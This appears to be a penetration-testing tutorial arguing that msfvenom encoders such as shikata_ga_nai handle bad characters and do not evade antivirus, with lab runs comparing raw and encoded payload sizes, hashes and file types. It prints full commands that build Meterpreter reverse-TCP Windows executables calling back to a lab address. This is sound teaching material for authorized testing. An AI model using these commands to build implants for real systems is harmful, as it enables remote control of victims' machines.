Why msfvenom Encoded Payloads Are Still Detected by Antivirus

Old tutorials treat msfvenom -e x86/shikata_ga_nai -i 10 as an antivirus bypass. Rapid7’s docs say that is the wrong job for an encoder. This page answers why the encoded .exe is still flagged, then shows what encoding actually changes.

Why is my msfvenom payload still detected?

Encoding is not an antivirus bypass. Rapid7 documents Metasploit encoders as a way to handle exploit constraints such as bad characters, not as a reliable way to hide from AV.

Why detection after -e is normal:

• Encoding changes payload bytes (and often the SHA-256 hash)
• A decoder stub and a Metasploit PE template can still match signatures or heuristics
• Endpoint products also inspect behavior, memory, and network callbacks after the decoder runs
• Extra -i iterations grow decoder layers. They are not a stealth slider

If the file still alerts, the encoder did its real job (rewrite bytes). It did not fail at a job Rapid7 never assigned it.

Encoding is not the same as AV evasion

If you are new to this topic, start with the words people mix up:

• Payload: the small program you generate (here, a Meterpreter reverse TCP stub wrapped as a Windows .exe)
• Encoder: a transform that changes those bytes, then adds a tiny decoder so the original payload can run later
• Bad character: a byte an exploit cannot carry (a classic example is a null byte \x00, which can cut a C string short)
• PE / .exe: the Windows executable file format. msfvenom -f exe wraps shellcode in a PE template
• Hash (SHA-256): a fingerprint of the whole file. If two hashes differ, the files are not identical

People also mix four techniques. Only encoding is what Metasploit encoders were built for:

Rapid7 states this directly in Metasploit encoded-payload documentation:

• The purpose of an encoder is to handle bad characters when you write exploits
• Encoders are not meant for anti-virus evasion
• Evasion is sometimes a byproduct. It is not guaranteed

A null-byte example:

• Your exploit copies shellcode into a buffer that is treated as a C string
• A \x00 in the middle can stop the copy early
• An encoder rewrites the payload so those forbidden bytes are gone
• At runtime a decoder stub restores the original instructions

That is a delivery constraint. It is not “make Defender ignore Meterpreter.”

What msfvenom encoders actually do

msfvenom is the Metasploit payload builder. It can list encoders shipped with the framework. I ran this on Kali with Metasploit 6.4.135:

msfvenom --list encoders

Trimmed output:

Framework Encoders [--encoder <value>]
======================================

    Name                          Rank       Description
    ----                          ----       -----------
    cmd/base64                    good       Base64 Command Encoder
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    generic/none                  normal     The "none" Encoder
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    x86/xor_dynamic               normal     Dynamic Key XOR Encoder

How to read that table:

• Rank is Metasploit’s quality rating for the encoder, not an “AV bypass score”
• x86/shikata_ga_nai is for 32-bit (x86) payloads. It does not encode a 64-bit payload
• generic/none means “do not encode”
• cmd/base64 is for command lines, not Windows PE files

Useful flags (exploit constraints, not stealth):

Pick the encoder that matches architecture and the bad-character set. Do not treat -i 10 as a reliable evasion recipe.

Does shikata_ga_nai bypass antivirus?

No. x86/shikata_ga_nai is a polymorphic XOR additive-feedback encoder for x86 shellcode. Rank “excellent” means Metasploit trusts it as an encoder, not as an AV bypass.

What it does:

• XORs the payload with a changing key so the bytes can differ each run
• Prepends a decoder stub so the original payload can run later
• Grows with each -i pass (more decoder layers, larger payload)

What it does not do:

• Apply to 64-bit (windows/x64/...) payloads
• Remove Metasploit PE-template or decoder artifacts
• Hide runtime behavior or the network callback after decode

A new hash after shikata_ga_nai only proves the file bytes changed. After the decoder runs, the payload is still Meterpreter.

Demonstrate raw vs encoded payloads

What this lab proves:

• Encoded files get different hashes
• They stay Windows PE files
• It does not prove antivirus is defeated

Lab rules I used:

• Callback address is host-only Kali 192.168.56.120
• No handler against a real Windows victim
• Work in a throwaway directory so you do not scatter .exe files on your desktop

Raw payload

Generate an unencoded Meterpreter EXE. -p is the payload, -f exe wraps it as a Windows program, -o is the output file:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.120 LPORT=4444 -f exe -o raw_payload.exe

No encoder specified, outputting raw payload
Payload size: 355 bytes
Final size of exe file: 7168 bytes
Saved as: raw_payload.exe

What those two sizes mean:

• Payload size (355): the inner shellcode
• Final size of exe (7168): the PE wrapper plus that shellcode
• No encoder specified: this is the baseline file

One encoding pass

Encode once with x86/shikata_ga_nai. -e picks the encoder. -i 1 means one pass:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.120 LPORT=4444 -e x86/shikata_ga_nai -i 1 -f exe -o encoded_i1.exe

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 382 (iteration=0)
Payload size: 382 bytes
Final size of exe file: 7168 bytes
Saved as: encoded_i1.exe

What changed after one pass:

• Inner payload grew 355 → 382 (decoder stub added)
• PE file size stayed 7168 bytes on this run (the wrapper still had room)

Multiple iterations

Encode five times. Old tutorials treat extra -i values as more stealth. We are checking size, not stealth:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.120 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded_i5.exe

Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 382 (iteration=0)
x86/shikata_ga_nai succeeded with size 409 (iteration=1)
x86/shikata_ga_nai succeeded with size 436 (iteration=2)
x86/shikata_ga_nai succeeded with size 463 (iteration=3)
x86/shikata_ga_nai succeeded with size 490 (iteration=4)
Payload size: 490 bytes
Final size of exe file: 7680 bytes
Saved as: encoded_i5.exe

What five passes did:

• Each iteration added another decoder layer
• Inner payload grew to 490 bytes
• The .exe grew to 7680 bytes
• That is size and complexity, not a stealth score

Compare hashes and PE format

Compare hashes so you can see the files are not identical:

sha256sum raw_payload.exe encoded_i1.exe encoded_i5.exe

049c59a9eda8fbeec19cec5cef8a13674e3b89c48f436b39891dd3a91545d7dc  raw_payload.exe
7d5c38fbda1f03dece130d169f548bd30ce50a288a39bb75bff4c0e8acefc668  encoded_i1.exe
30624f7f71f2dbba4e1f865bcf8b684e18a52d3ab3a95eab35453254456330b3  encoded_i5.exe

Three different SHA-256 values. Encoding changed the sample. Confirm the wrapper is still a Windows PE:

file raw_payload.exe encoded_i1.exe encoded_i5.exe

raw_payload.exe: PE32 executable for MS Windows 4.00 (GUI), Intel i386, 5 sections
encoded_i1.exe:  PE32 executable for MS Windows 4.00 (GUI), Intel i386, 5 sections
encoded_i5.exe:  PE32 executable for MS Windows 4.00 (GUI), Intel i386, 5 sections

All three stayed PE32 i386 GUI executables. Encoding rewrote bytes inside the same file type.

Legitimate encoder use (not AV):

• -b '\x00' asks the encoder to avoid nulls in the payload stream
• Use that when an exploit cannot carry those bytes
• Do not treat -b as an antivirus setting

How to test whether encoding changes antivirus detection

This lab proves raw vs encoded byte differences. It does not compare antivirus verdicts.

What I could and could not measure on this Kali host:

• ClamAV engine 1.4.5 was installed, but the signature database was empty (Known viruses: 0)
• A clamscan result would have been meaningless
• I did not upload the samples to a public multi-engine scanner
• I did not run the EXEs on Windows Defender

A real AV comparison needs a properly configured, isolated Windows test endpoint (updated definitions, product you actually care about). Record product, version, definition date, and whether the block happened on write, launch, or runtime.

Expect known Metasploit templates to alert even after shikata_ga_nai. The hashes above prove encoding changed the file. They are not a stealth score.

Why modern AV and EDR can still detect encoded payloads

Changing static bytes does not remove what happens after the decoder runs.

Encoding mainly changes the file on disk. EDR still sees the process and the callback. After a session, Windows privilege escalation is a separate problem from encoding.

What about Shellter?

Old free Shellter tutorials (inject Meterpreter into PuTTY, then call it AV evasion) are outdated as guidance.

• Kali still ships the historic package shellter 7.2-0kali3
• Shellter Elite is a different commercial product, still updated in 2026
• Do not assume an old Shellter + PuTTY writeup matches current Defender

This page does not walk Shellter or Shellter Elite. Stay with msfvenom for the encoding proof above.

Why VirusTotal is not a reliable evasion score

Public multi-engine sites are useful for known-malware triage. They are a poor stealth scoreboard.

• Cloud engines and policies differ from a real endpoint (on-access plus runtime)
• Uploading unique client samples discloses them unless that is authorized
• A detection count is not proof of endpoint bypass (and 0/70 is not a pass)

Test on an authorized isolated endpoint that matches the client. Do not treat an old screenshot as current truth.

How to document an authorized detection test

For CompTIA-style reporting, a detection test is evidence, not a trophy.

Record at least:

• Operating system and build (example: Windows 11 24H2)
• Protection product and SKU (Defender, Defender for Endpoint, third-party AV)
• Definitions / engine version and the date you pulled them
• Sample SHA-256 and how you created it (msfvenom command, encoder, iterations)
• Whether the block happened on write, on launch, or after runtime
• Timestamp (timezone) and alert name or event ID
• Whether the test was isolated (VM snapshot) and authorized

Example lab note:

2026-09-03 14:45 IST | Kali msfvenom 6.4.135 | windows/meterpreter/reverse_tcp
raw SHA-256 049c59a9… | encoded_i1 SHA-256 7d5c38fb…
Scanner: ClamAV 1.4.5 with empty DB (invalid comparison) | not submitted to a public scanner

That is more useful in a pentest report than “we encoded it 10 times.”

Troubleshooting

Summary

msfvenom encoders rewrite payload bytes so an exploit can survive bad characters. Rapid7 states they are not an antivirus evasion feature. shikata_ga_nai is a polymorphic XOR encoder for x86. Extra -i passes grow decoder layers. They do not make a Metasploit PE “undetectable.”

On Kali 2026.2 a raw Meterpreter EXE, a one-pass encoded EXE, and a five-pass encoded EXE had different SHA-256 hashes and remained PE32. That is the reproducible result on this page: encoding changed the file. An AV verdict needs a configured Windows test endpoint, not an empty ClamAV database or a public scanner count.

When you need a working callback in the lab, follow a reverse shell listener on an authorized target. Keep encoding in the report as a delivery detail, not as “we bypassed AV.”

References

• Encoded Payloads Don’t Bypass Anti-virus (Rapid7)
• The Odd Couple: Metasploit and Antivirus Solutions (Rapid7)
• msfvenom
• Shellter Project
• ClamAV